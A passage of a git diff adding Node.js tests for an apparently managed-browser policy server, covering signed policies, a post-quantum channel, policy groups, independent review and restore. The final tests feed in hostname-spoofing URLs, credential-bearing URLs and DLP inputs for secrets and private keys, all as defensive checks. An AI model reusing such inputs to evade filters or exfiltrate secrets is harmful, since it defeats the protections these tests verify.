ed=generateKeyPairSync('ed25519'),pq=generateKeyPairSync('ml-dsa-87'); +const edPublic=ed.publicKey.export({type:'spki',format:'pem'}),pqPublic=pq.publicKey.export({type:'spki',format:'pem'}); +const make=()=>channel.challenge('device-a',ed.privateKey,pq.privateKey); + +test('real ML-KEM-1024 and dual signatures protect policy bytes with separate AEAD directions',()=>{ + const identity=channel.identity(ed.privateKey,pq.privateKey,pqPublic);assert.equal(channel.verifyIdentity(identity,edPublic,pqPublic),pqPublic); + const {bundle,privateKey}=make();channel.verifyChallenge(bundle,'device-a',edPublic,pqPublic); + const client=channel.prepare(bundle),server=channel.receive(client.request,bundle,privateKey); + const value={payload:'confidential synthetic policy content',signature:'synthetic signature'}; + const response=channel.response(value,bundle,server);assert.equal(JSON.stringify(response).includes(value.payload),false);assert.deepEqual(channel.finish(response,bundle,client),value); + assert.throws(()=>channel.finish({...response,encrypted:client.request.encrypted},bundle,client)); + const modified=structuredClone(response);modified.encrypted.tag=Buffer.alloc(16).toString('base64url');assert.throws(()=>channel.finish(modified,bundle,client)); + client.responseKey.fill(0);server.responseKey.fill(0); +}); +test('channel rejects signature substitutions, different devices, expiry and unrecognized algorithms',()=>{ + const {bundle}=make();assert.throws(()=>channel.verifyChallenge(bundle,'device-b',edPublic,pqPublic)); + assert.throws(()=>channel.verifyChallenge(bundle,'device-a',edPublic,pqPublic,bundle.expiresAt)); + const other=generateKeyPairSync('ml-dsa-87').publicKey.export({type:'spki',format:'pem'});assert.throws(()=>channel.verifyChallenge(bundle,'device-a',edPublic,other)); + assert.throws(()=>channel.verifyChallenge({...bundle,version:'downgraded'},'device-a',edPublic,pqPublic)); + assert.throws(()=>channel.verifyChallenge({...bundle,extra:'untrusted'},'device-a',edPublic,pqPublic)); + assert.throws(()=>channel.verifyIdentity(channel.identity(ed.privateKey,pq.privateKey,pqPublic),edPublic,other)); +}); +test('ciphertext changes and response splicing never release a policy',()=>{ + const a=make(),b=make(),client=channel.prepare(a.bundle),other=channel.prepare(b.bundle),server=channel.receive(client.request,a.bundle,a.privateKey); + const altered=structuredClone(client.request);altered.encrypted.ciphertext=Buffer.from('invalid').toString('base64url');assert.throws(()=>channel.receive(altered,a.bundle,a.privateKey)); + assert.throws(()=>channel.receive({...client.request,deviceId:'device-b'},a.bundle,a.privateKey)); + assert.throws(()=>channel.finish(channel.response({payload:'safe'},a.bundle,server),b.bundle,other)); + const replayContext={...client,requestId:'different-request'};assert.throws(()=>channel.finish(channel.response({payload:'safe'},a.bundle,server),a.bundle,replayContext)); + client.responseKey.fill(0);other.responseKey.fill(0);server.responseKey.fill(0); +}); +test('real central channel denies plaintext, replay and cross-device access; browser never falls back',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'safetynet-channel-')),store=openStore(directory),config={publicUrl:'http://127.0.0.1',secure:false,adminToken:'test-only-admin-credential-01234567890',requirePQManagement:true}; + const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(resolve=>server.once('listening',resolve));const base=`http://127.0.0.1:${server.address().port}`; + t.after(async()=>{server.closeAllConnections();await new Promise(resolve=>server.close(resolve));store.db.close();assert.ok(directory.startsWith(join(tmpdir(),'safetynet-channel-')));rmSync(directory,{recursive:true,force:true});}); + async function api(route,body,credential){const response=await fetch(base+route,{method:body?'POST':'GET',headers:{...(body?{'content-type':'application/json'}:{}),...(credential?{authorization:`Bearer ${credential}`}:{})},body:body?JSON.stringify(body):undefined});return {status:response.status,value:await response.json()};} + async function enroll(name){const code='synthetic-enrollment-code-'+name;store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+60000,name);const result=await api('/api/device/enroll',{code,name,platform:'win32'});assert.equal(result.status,200);return result.value;} + const a=await enroll('a'),b=await enroll('b');assert.equal(Object.hasOwn(a,'policy'),false,'Mandatory protected bootstrap must not disclose a plaintext policy');assert.equal((await api('/api/device/policy',null,a.token)).status,403); + assert.equal((await api('/api/admin/management-channel',null,a.token)).status,401); + const publicChannel=await api('/api/admin/management-channel',null,config.adminToken);assert.equal(publicChannel.status,200);assert.deepEqual(Object.keys(publicChannel.value).sort(),['requirePQManagement','signatureKey','version']);assert.equal(publicChannel.value.signatureKey,a.managementChannel.signatureKey);assert.equal(JSON.stringify(publicChannel.value).includes('PRIVATE KEY'),false); + const bundle=(await api('/api/device/channel/challenge',{},a.token)).value,context=channel.prepare(bundle); + assert.equal((await api('/api/device/channel/policy',context.request,b.token)).status,403); + const protectedResponse=await api('/api/device/channel/policy',context.request,a.token);assert.equal(protectedResponse.status,200); + assert.equal(verifyPolicy(channel.finish(protectedResponse.value,bundle,context),a.publicKey).version,1);context.responseKey.fill(0); + assert.equal((await api('/api/device/channel/policy',context.request,a.token)).status,403); + const device={server:base,id:a.id,token:a.token,publicKey:a.publicKey,channelSignatureKey:channel.verifyIdentity(a.managementChannel,a.publicKey)};const called=[]; + const request=async(_server,route,body,token)=>{called.push(route);const result=await api(route,body,token);if(result.status!==200)throw Error('Refused');return result.value;}; + const policy=await browser.protectedPolicyRequest({device,request,save:()=>assert.fail('Fresh enrollment must retain its signing pin')});assert.equal(verifyPolicy(policy,a.publicKey).version,1);assert.equal(called.includes('/api/device/policy'),false); + await assert.rejects(browser.protectedPolicyRequest({device,request:async()=>{throw Error('Transport offline');},save:()=>{}})); + store.db.prepare('UPDATE devices SET revoked=1 WHERE id=?').run(a.id);assert.equal((await api('/api/device/channel/challenge',{},a.token)).status,401); +}); diff --git a/tests/policy-groups.test.mjs b/tests/policy-groups.test.mjs new file mode 100644 index 0000000..5ed74ef --- /dev/null +++ b/tests/policy-groups.test.mjs @@ -0,0 +1,77 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {randomUUID} from 'node:crypto'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +import {PolicyGroupSchema,applyPolicyGroups} from '../packages/core/policy-groups.mjs'; +import {defaultPolicy,verifyPolicy,destinationAllowed} from '../packages/core/policy.mjs'; + +async function fixture(t,review=false){ + const dir=mkdtempSync(join(tmpdir(),'safetynet-groups-')),store=openStore(dir),origin='http://127.0.0.1:4310'; + const server=createApp(store,{publicUrl:origin,secure:false,requireIndependentPolicyApproval:review}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});}); + const ids=[randomUUID(),randomUUID(),randomUUID()];for(const [index,id] of ids.entries())store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run(id,`Device ${index}`,'win32','employee',digest(`device-credential-${index}-12345678901234567890`)); + async function api(path,method='GET',body,subject='author',role='admin'){ + const credential=`synthetic-group-session-${subject}-12345678901234567890`;store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:subject,role})); + const response=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{cookie:`sn_session=${credential}`,origin,'content-type':'application/json'},body:body===undefined?undefined:JSON.stringify(body)});return {status:response.status,body:await response.json()}; + } + const group=()=>PolicyGroupSchema.parse({id:'finance',name:'Finance',memberDeviceIds:ids.slice(0,2),restrictions:{blockedHosts:['blocked.example'],disableAI:true,hiddenSections:['agents'],requireDocumentScan:true,managedBookmarks:[{id:'finance_intranet',title:'Finance',url:'https://intranet.example/finance'}]},rollout:{stage:'pilot',deviceIds:[ids[0]]}}); + const publish=(g,expectedVersion=store.get('policy').version)=>api(`/api/admin/policy-groups/${g.id}`,'PUT',{expectedVersion,group:g}); + const approve=r=>api(`/api/admin/policy-reviews/${r.reviewId}/approve`,'POST',{payloadHash:r.payloadHash,expectedVersion:r.expectedVersion,approve:true},'reviewer'); + return {store,api,ids,group,publish,approve}; +} +test('group pilot applies only to approved members, all promotion and removal create new signed generations',async t=>{ + const f=await fixture(t),g=f.group(),baseline=f.store.get('policy');baseline.ai.enabled=true;baseline.browser.allowDownloads=true;baseline.inspection.documentAnalysisEnabled=false;f.store.put('policy',baseline); + assert.equal((await f.publish(g)).status,200); + const pilot=verifyPolicy(f.store.envelope(f.ids[0]),f.store.publicKey()),control=verifyPolicy(f.store.envelope(f.ids[1]),f.store.publicKey()); + assert.equal(pilot.version,2);assert.equal(control.version,2);assert.deepEqual(pilot.assignment,{deviceId:f.ids[0],groups:['finance']});assert.deepEqual(control.assignment.groups,[]); + assert.equal(pilot.ai.enabled,false);assert.equal(control.ai.enabled,true);assert.equal(pilot.inspection.documentAnalysisEnabled,true);assert.equal(destinationAllowed('https://blocked.example/',pilot),false);assert.equal(destinationAllowed('https://blocked.example/',control),true); + assert.equal(pilot.browser.bookmarks.managed[0].id,'finance_intranet');assert.equal(control.browser.bookmarks.managed.length,0); + const same=f.store.envelope(f.ids[0]);assert.deepEqual(verifyPolicy(same,f.store.publicKey()),pilot); // Stable content at one generation. + g.rollout={stage:'all',deviceIds:[]};assert.equal((await f.publish(g,2)).status,200);assert.equal(f.store.effectivePolicy(f.ids[1]).ai.enabled,false);assert.equal(f.store.effectivePolicy(f.ids[2]).ai.enabled,true); + assert.equal((await f.api('/api/admin/policy-groups/finance','DELETE',{expectedVersion:3})).status,200);assert.equal(f.store.effectivePolicy(f.ids[0]).ai.enabled,true);assert.equal(f.store.effectivePolicy(f.ids[0]).version,4); +}); +test('restrictive merges preserve baseline, conflict order cannot change result, unapproved features rejected',()=>{ + const p=defaultPolicy();p.browser.blockedHosts=['baseline.example'];p.browser.settings.hiddenSections=['passwords']; + const first=PolicyGroupSchema.parse({id:'a',name:'A',memberDeviceIds:['device'],rollout:{stage:'all'},restrictions:{blockedHosts:['group.example'],disableDownloads:true,hiddenSections:['agents']}}),second=PolicyGroupSchema.parse({...first,id:'b',restrictions:{blockedHosts:['second.example'],disableAI:true}}); + assert.deepEqual(applyPolicyGroups(p,[first,second],'device'),applyPolicyGroups(p,[second,first],'device')); + const result=applyPolicyGroups(p,[first],'device');assert.deepEqual(result.browser.blockedHosts,['baseline.example','group.example']);assert.equal(result.browser.allowDownloads,false);assert.ok(result.browser.settings.hiddenSections.includes('passwords')); + assert.throws(()=>PolicyGroupSchema.parse({...first,restrictions:{allowDownloads:true}}));assert.throws(()=>PolicyGroupSchema.parse({...first,rollout:{stage:'pilot',deviceIds:['outsider']}})); +}); +test('independent review covers exact membership and cohort, stale and revoked candidates fail atomically',async t=>{ + const f=await fixture(t,true),g=f.group(),queued=await f.publish(g);assert.equal(queued.status,202);assert.equal(f.store.getRaw('policyGroups'),null);assert.equal(f.store.effectivePolicy(f.ids[0]).version,1); + const detail=await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}`);assert.deepEqual(detail.body.operation.group,g); + assert.equal((await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}/approve`,'POST',{payloadHash:queued.body.payloadHash,expectedVersion:1,approve:true})).status,403); + assert.equal((await f.approve(queued.body)).status,200);assert.equal(f.store.effectivePolicy(f.ids[0]).version,2); + const next=await f.publish({...g,name:'Reviewed change'});f.store.db.prepare('UPDATE devices SET revoked=1 WHERE id=?').run(f.ids[0]);assert.equal((await f.approve(next.body)).status,409);assert.equal(f.store.get('policy').version,2);assert.equal(f.store.getRaw('policyGroups')[0].name,'Finance'); +}); +test('permissions, preview, unknown devices, union limits and bookmark conflicts are enforced centrally',async t=>{ + const f=await fixture(t),g=f.group();assert.equal((await f.api('/api/admin/policy-groups/finance','PUT',{expectedVersion:1,group:g},'auditor','auditor')).status,403); + assert.equal((await f.api('/api/admin/policy-groups/preview','POST',{deviceId:f.ids[0],group:g},'auditor','auditor')).body.policy.ai.enabled,false);assert.equal(f.store.getRaw('policyGroups'),null); + assert.equal((await f.publish({...g,memberDeviceIds:[...g.memberDeviceIds,'unknown']})).status,409); + f.store.db.prepare('INSERT INTO bookmarks VALUES(?,?,?)').run(f.ids[0],1,JSON.stringify([{id:'finance_intranet',title:'Personal',url:'https://personal.example/',folder:''}]));assert.equal((await f.publish(g)).status,409); + f.store.db.prepare('DELETE FROM bookmarks').run();assert.equal((await f.publish(g)).status,200); + const conflicting={...g,id:'other',restrictions:{managedBookmarks:[{id:'finance_intranet',title:'Other',url:'https://other.example/',folder:''}]}};assert.equal((await f.publish(conflicting)).status,409);assert.equal(f.store.get('policy').version,2); + const overview=(await f.api('/api/admin/policy-groups')).body;assert.equal(overview.devices[0].acknowledged,false);f.store.db.prepare('UPDATE devices SET policy_version=2 WHERE id=?').run(f.ids[0]);assert.equal((await f.api('/api/admin/policy-groups')).body.devices.find(d=>d.id===f.ids[0]).acknowledged,true); +}); +test('restoring a generation restores reviewed group assignments at a new version',async t=>{ + const f=await fixture(t),g=f.group();assert.equal((await f.publish(g)).status,200); + g.rollout={stage:'all',deviceIds:[]};assert.equal((await f.publish(g)).status,200); + assert.deepEqual(f.store.effectivePolicy(f.ids[1]).assignment.groups,['finance']); + const snapshot=(await f.api('/api/admin/policy/history/2')).body;assert.equal(snapshot.groups[0].rollout.stage,'pilot'); + assert.equal((await f.api('/api/admin/policy/restore','POST',{sourceVersion:2,expectedVersion:3,approve:true})).status,200); + assert.equal(f.store.get('policy').version,4);assert.deepEqual(f.store.effectivePolicy(f.ids[1]).assignment.groups,[]);assert.deepEqual(f.store.effectivePolicy(f.ids[0]).assignment.groups,['finance']); + const diff=(await f.api('/api/admin/policy/diff?from=2&to=3')).body;assert.ok(diff.groupDiff.changes.length); +}); +test('gateway and bookmark APIs enforce device effective group policy and global drafts reject assignment metadata',async t=>{ + const f=await fixture(t),g=f.group(),p=f.store.get('policy');p.ai.enabled=true;f.store.put('policy',p);assert.equal((await f.publish(g)).status,200); + // Use the authenticated device API, not an isolated merge helper. + const server=createApp(f.store,{publicUrl:'http://127.0.0.1:4310',secure:false,aiBaseUrl:'https://127.0.0.1:1',aiKey:'synthetic-fixture-key',aiModel:''}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(()=>new Promise(r=>server.close(r))); + const headers={authorization:'Bearer device-credential-0-12345678901234567890','content-type':'application/json'}; + const ai=await fetch(`http://127.0.0.1:${server.address().port}/api/device/ai`,{method:'POST',headers,body:JSON.stringify({prompt:'Public content'})});assert.equal(ai.status,409);assert.match((await ai.json()).error,/Approved AI provider/); + const bookmark=await fetch(`http://127.0.0.1:${server.address().port}/api/device/bookmarks`,{method:'POST',headers,body:JSON.stringify({action:'add',expectedRevision:0,policyVersion:2,bookmark:{id:'test',title:'Blocked',url:'https://blocked.example/'}})});assert.equal(bookmark.status,403); + const draft=f.store.effectivePolicy(f.ids[0]);draft.version++;assert.equal((await f.api('/api/admin/policy','PUT',draft)).status,400);assert.equal(f.store.get('policy').version,2); +}); diff --git a/tests/policy-history.test.mjs b/tests/policy-history.test.mjs new file mode 100644 index 0000000..672ab9f --- /dev/null +++ b/tests/policy-history.test.mjs @@ -0,0 +1,58 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +import {verifyPolicy} from '../packages/core/policy.mjs'; +import {policyDiff} from '../apps/server/policy-history.mjs'; +async function fixture(t){ + const dir=mkdtempSync(join(tmpdir(),'safetynet-history-')),store=openStore(dir),credential='synthetic-history-admin-credential-123456789',origin='http://127.0.0.1:4310'; + const server=createApp(store,{adminToken:credential,publicUrl:origin,secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});}); + async function api(path,body,role){ + const headers={'content-type':'application/json'}; + if(role){const key=`synthetic-history-${role}-credential-123456789`;store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(key),Date.now()+60000,JSON.stringify({sub:role,role}));headers.cookie=`sn_session=${key}`;headers.origin=origin;}else headers.authorization=`Bearer ${credential}`; + const response=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method:body?'POST':'GET',headers,body:body?JSON.stringify(body):undefined});return {status:response.status,body:await response.json()}; + } + function save(policy){store.put('policy',policy);store.db.prepare('INSERT INTO policies VALUES(?,?,?,?)').run(policy.version,new Date().toISOString(),'test-publisher',JSON.stringify(policy));} + return {store,api,save}; +} +test('history cursor, schema snapshots and deterministic diffs cover immutable global versions',async t=>{ + const f=await fixture(t),p=f.store.get('policy');p.version=2;p.brand.name='Company Browser';f.save(p); + const list=await f.api('/api/admin/policy/history?limit=1');assert.equal(list.status,200);assert.equal(list.body.versions[0].version,2);assert.equal(list.body.versions[0].current,true);assert.equal(list.body.nextBefore,2); + const next=await f.api('/api/admin/policy/history?limit=1&before=2');assert.equal(next.body.versions[0].version,1);assert.equal(next.body.nextBefore,null); + const item=await f.api('/api/admin/policy/history/2');assert.equal(item.body.policy.brand.name,'Company Browser');assert.equal(JSON.stringify(item.body).includes('privateKey'),false); + const diff=await f.api('/api/admin/policy/diff?from=1&to=2');assert.equal(diff.status,200);assert.ok(diff.body.changes.some(c=>c.path==='/brand/name'&&c.after==='Company Browser'));assert.equal(diff.body.truncated,false); + assert.equal((await f.api('/api/admin/policy/history/999')).status,404);assert.equal((await f.api('/api/admin/policy/diff?from=1&to=999')).status,404);assert.equal((await f.api('/api/admin/policy/history?limit=101')).status,400); +}); +test('restore publishes new signed monotonic policy with refreshed expiry and preserves source and audit privacy',async t=>{ + const f=await fixture(t),expired=f.store.get('policy');expired.expiresAt='2020-01-01T00:00:00.000Z';f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(expired)); + const source=f.store.db.prepare('SELECT policy FROM policies WHERE version=1').get().policy,p=f.store.get('policy');p.version=2;p.brand.name='Changed';f.save(p); + const result=await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:2,approve:true});assert.equal(result.status,200);assert.equal(result.body.version,3);assert.equal(result.body.sourceVersion,1); + const signed=verifyPolicy(f.store.envelope(),f.store.publicKey());assert.equal(signed.version,3);assert.notEqual(signed.brand.name,'Changed');assert.ok(Date.parse(signed.expiresAt)>Date.now()+6*86400000); + assert.equal(f.store.db.prepare('SELECT policy FROM policies WHERE version=1').get().policy,source); + const audit=JSON.parse(f.store.db.prepare("SELECT metadata FROM events WHERE kind='policy.restored'").get().metadata);assert.deepEqual(audit,{actor:'bootstrap-admin',version:3,sourceVersion:1}); + assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:2,approve:true})).status,409);assert.equal(f.store.get('policy').version,3); + assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:999,expectedVersion:3,approve:true})).status,404);assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:3,approve:false})).status,400); +}); +test('invalid historic schemas cannot be restored and failure rolls back without new audit or version',async t=>{ + const f=await fixture(t),invalid=f.store.get('policy');invalid.proxy={mode:'unknown-mode'};f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(invalid)); + const result=await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:1,approve:true});assert.equal(result.status,400);assert.equal(f.store.get('policy').version,1);assert.equal(f.store.db.prepare("SELECT COUNT(*) AS count FROM events WHERE kind='policy.restored'").get().count,0); + assert.equal((await f.api('/api/admin/policy/history')).status,200); +}); +test('history and restoration enforce read/write roles and never expose legacy personal bookmarks',async t=>{ + const f=await fixture(t),p=f.store.get('policy');p.browser.bookmarks.personal={revision:2,items:[{id:'private',title:'Private bookmark',url:'https://private.example/',folder:''}]};f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(p)); + for(const role of ['operator','auditor']){assert.equal((await f.api('/api/admin/policy/history',null,role)).status,200);const item=await f.api('/api/admin/policy/history/1',null,role);assert.deepEqual(item.body.policy.browser.bookmarks.personal,{revision:0,items:[]});assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:1,approve:true},role)).status,403);} + assert.equal(f.store.get('policy').version,1); +}); +test('restore cannot collide historical company IDs with current device personal entries',async t=>{ + const f=await fixture(t),source=f.store.get('policy');source.browser.bookmarks.managed=[{id:'collision',title:'Company',url:'https://company.example/',folder:''}];f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(source)); + const p=f.store.get('policy');p.version=2;f.save(p);f.store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run('test-device','Test','win32','user','hash');f.store.db.prepare('INSERT INTO bookmarks VALUES(?,?,?)').run('test-device',1,JSON.stringify([{id:'collision',title:'Private',url:'https://private.example/',folder:''}])); + const result=await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:2,approve:true});assert.equal(result.status,409);assert.equal(f.store.get('policy').version,2);assert.equal(f.store.db.prepare('SELECT COUNT(*) AS count FROM policies').get().count,2); +}); +test('diff limits size, preserves arrays and escapes JSON pointer paths',()=>{ + const result=policyDiff({'a/b':1,'x~y':1,list:[1]}, {'a/b':2,'x~y':2,list:[2]},2);assert.equal(result.truncated,true);assert.deepEqual(result.changes.map(c=>c.path),['/a~1b','/list']);assert.deepEqual(result.changes[1].after,[2]); + assert.deepEqual(policyDiff({}, {new:1}).changes,[{path:'/new',kind:'added',after:1}]); +}); diff --git a/tests/policy-review.test.mjs b/tests/policy-review.test.mjs new file mode 100644 index 0000000..d29af67 --- /dev/null +++ b/tests/policy-review.test.mjs @@ -0,0 +1,60 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +async function fixture(t){ + const dir=mkdtempSync(join(tmpdir(),'safetynet-review-')),store=openStore(dir),origin='http://127.0.0.1:4310'; + const server=createApp(store,{publicUrl:origin,secure:false,requireIndependentPolicyApproval:true}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});}); + async function api(path,method='GET',body,subject='author',role='admin'){ + const credential=`synthetic-review-session-${subject}-12345678901234567890`; + store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:subject,role})); + const response=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{cookie:`sn_session=${credential}`,origin,'content-type':'application/json'},body:body===undefined?undefined:JSON.stringify(body)}); + return {status:response.status,body:await response.json()}; + } + function candidate(){const p=store.get('policy');p.version++;p.brand.name='Reviewed Brand';return p;} + async function approve(r,subject='reviewer',role='admin'){return api(`/api/admin/policy-reviews/${r.reviewId}/approve`,'POST',{payloadHash:r.payloadHash,expectedVersion:r.expectedVersion,approve:true},subject,role);} + return {dir,store,api,candidate,approve}; +} +test('mandatory independent approval prevents self approval, operator publication, tampering and duplicate release',async t=>{ + const f=await fixture(t),p=f.candidate(),queued=await f.api('/api/admin/policy','PUT',p,'operator','operator'); + assert.equal(queued.status,202);assert.equal(f.store.get('policy').version,1); + assert.equal((await f.approve(queued.body,'operator','admin')).status,403); + assert.equal((await f.approve(queued.body,'reviewer','operator')).status,403); + assert.equal((await f.approve({...queued.body,payloadHash:'0'.repeat(64)})).status,409); + const approved=await f.approve(queued.body);assert.equal(approved.status,200);assert.equal(f.store.get('policy').brand.name,'Reviewed Brand'); + assert.equal((await f.approve(queued.body)).status,409); + const audit=JSON.parse(f.store.db.prepare("SELECT metadata FROM events WHERE kind='policy.review-approved'").get().metadata);assert.equal(audit.author,'operator');assert.equal(audit.actor,'reviewer');assert.equal(JSON.stringify(audit).includes('Reviewed Brand'),false); +}); +test('queue persists, presents exact diff and hash, rejects stale CAS and supports independent rejection',async t=>{ + const f=await fixture(t),first=(await f.api('/api/admin/policy-reviews','POST',{policy:f.candidate()})).body; + const second=(await f.api('/api/admin/policy','PUT',f.candidate())).body; + const detail=await f.api(`/api/admin/policy-reviews/${first.reviewId}`);assert.ok(detail.body.diff.changes.some(c=>c.path==='/brand/name'));assert.equal(detail.body.payloadHash,first.payloadHash); + const secondConnection=openStore(f.dir);assert.equal(secondConnection.db.prepare('SELECT payload_hash FROM policy_reviews WHERE id=?').get(first.reviewId).payload_hash,first.payloadHash);secondConnection.db.close(); + assert.equal((await f.approve(first)).status,200);assert.equal((await f.approve(second)).status,409); + const list=await f.api('/api/admin/policy-reviews');assert.equal(list.body.reviews.find(r=>r.id===second.reviewId).status,'stale'); + const third=(await f.api('/api/admin/policy','PUT',f.candidate())).body; + assert.equal((await f.api(`/api/admin/policy-reviews/${third.reviewId}/reject`,'POST',{payloadHash:third.payloadHash,reject:true})).status,403); + assert.equal((await f.api(`/api/admin/policy-reviews/${third.reviewId}/reject`,'POST',{payloadHash:third.payloadHash,reject:true},'reviewer')).status,200); + assert.equal((await f.approve(third)).status,409);assert.equal(f.store.get('policy').version,2); +}); +test('all alternate publication paths queue and device and teaching effects wait for reviewer',async t=>{ + const f=await fixture(t); + f.store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run('device','Device','win32','user','hash'); + let queued=await f.api('/api/admin/devices/device/inspection','PATCH',{expectedVersion:1,documentAnalysisEnabled:false},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.db.prepare('SELECT document_analysis_enabled AS enabled FROM devices').get().enabled,null); + assert.equal((await f.approve(queued.body)).status,200);assert.equal(f.store.db.prepare('SELECT document_analysis_enabled AS enabled FROM devices').get().enabled,0); + queued=await f.api('/api/admin/security/blocklists','PUT',{expectedVersion:2,blockedHosts:['blocked.example'],blockedIPs:[]},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.get('policy').security.dns.blockedHosts.includes('blocked.example'),false);assert.equal((await f.approve(queued.body)).status,200); + queued=await f.api('/api/admin/policy/restore','POST',{sourceVersion:1,expectedVersion:3,approve:true},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.get('policy').version,3);assert.equal((await f.approve(queued.body)).status,200); + f.store.db.prepare('INSERT INTO teaching VALUES(?,?,?,?,?,?,?,?)').run('teaching',new Date().toISOString(),'author','Sensitive','draft',JSON.stringify({registrationReady:true,sha256:'a'.repeat(64),fragmentHashes:[]}),null,null); + queued=await f.api('/api/admin/teaching/teaching/publish','POST',{expectedVersion:4,approve:true},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.db.prepare('SELECT status FROM teaching').get().status,'draft');assert.equal((await f.approve(queued.body)).status,200);assert.equal(f.store.db.prepare('SELECT reviewer FROM teaching').get().reviewer,'reviewer'); +}); +test('durable candidate corruption and changing device state fail closed atomically',async t=>{ + const f=await fixture(t),queued=(await f.api('/api/admin/policy','PUT',f.candidate())).body; + const policy=f.candidate();policy.brand.name='Tampered';f.store.db.prepare('UPDATE policy_reviews SET policy=? WHERE id=?').run(JSON.stringify(policy),queued.reviewId); + assert.equal((await f.approve(queued)).status,409);assert.equal(f.store.get('policy').version,1); + f.store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run('device','Device','win32','user','hash'); + const device=(await f.api('/api/admin/devices/device/inspection','PATCH',{expectedVersion:1,documentAnalysisEnabled:false})).body;f.store.db.prepare('UPDATE devices SET revoked=1').run();assert.equal((await f.approve(device)).status,409);assert.equal(f.store.get('policy').version,1); +}); diff --git a/tests/policy.test.mjs b/tests/policy.test.mjs new file mode 100644 index 0000000..f157272 --- /dev/null +++ b/tests/policy.test.mjs @@ -0,0 +1,37 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { generateKeyPairSync, createHash } from 'node:crypto'; +import {defaultPolicy,PolicySchema,signPolicy,verifyPolicy,inspect,destinationAllowed,hostMatches} from '../packages/core/policy.mjs'; +test('signed policies reject tampering, rollback and expiry',()=>{ + const keys=generateKeyPairSync('ed25519');const privateKey=keys.privateKey.export({type:'pkcs8',format:'pem'}),publicKey=keys.publicKey.export({type:'spki',format:'pem'}); + const p=defaultPolicy(),envelope=signPolicy(p,privateKey);assert.deepEqual(verifyPolicy(envelope,publicKey),p); + assert.throws(()=>verifyPolicy({...envelope,payload:envelope.payload+'A'},publicKey),/signature/); + assert.throws(()=>verifyPolicy(envelope,publicKey,2),/rollback/); + p.expiresAt=new Date(0).toISOString();assert.throws(()=>verifyPolicy(signPolicy(p,privateKey),publicKey),/expired/); +}); +test('hostname policies resist suffix confusion and enforce block precedence',()=>{ + assert.equal(hostMatches('a.corp.example','*.corp.example'),true);assert.equal(hostMatches('corp.example','*.corp.example'),false); + assert.equal(hostMatches('evilcorp.example','*.corp.example'),false); + const p=defaultPolicy();p.browser.allowedHosts=['*.corp.example'];p.browser.blockedHosts=['blocked.corp.example']; + assert.equal(destinationAllowed('https://ok.corp.example/',p),true);assert.equal(destinationAllowed('https://blocked.corp.example/',p),false); + assert.equal(destinationAllowed('https://ok.corp.example.evil.test/',p),false);assert.equal(destinationAllowed('file:///secret',p),false); + assert.equal(destinationAllowed('https://user:pass@ok.corp.example/',p),false); +}); +test('DLP blocks credentials, encoded phrases, binary and oversized payloads',()=>{ + const p=defaultPolicy();p.dlp.rules=[{id:'project',label:'Secret project',kind:'literal',value:'Project Orion',action:'block'}]; + for(const input of ['Project Orion','project%20orion','prompt=project+orion','{"prompt":"Project \\u004frion"}'])assert.equal(inspect(Buffer.from(input),p).decision,'block'); + assert.equal(inspect(Buffer.from('-----BEGIN PRIVATE 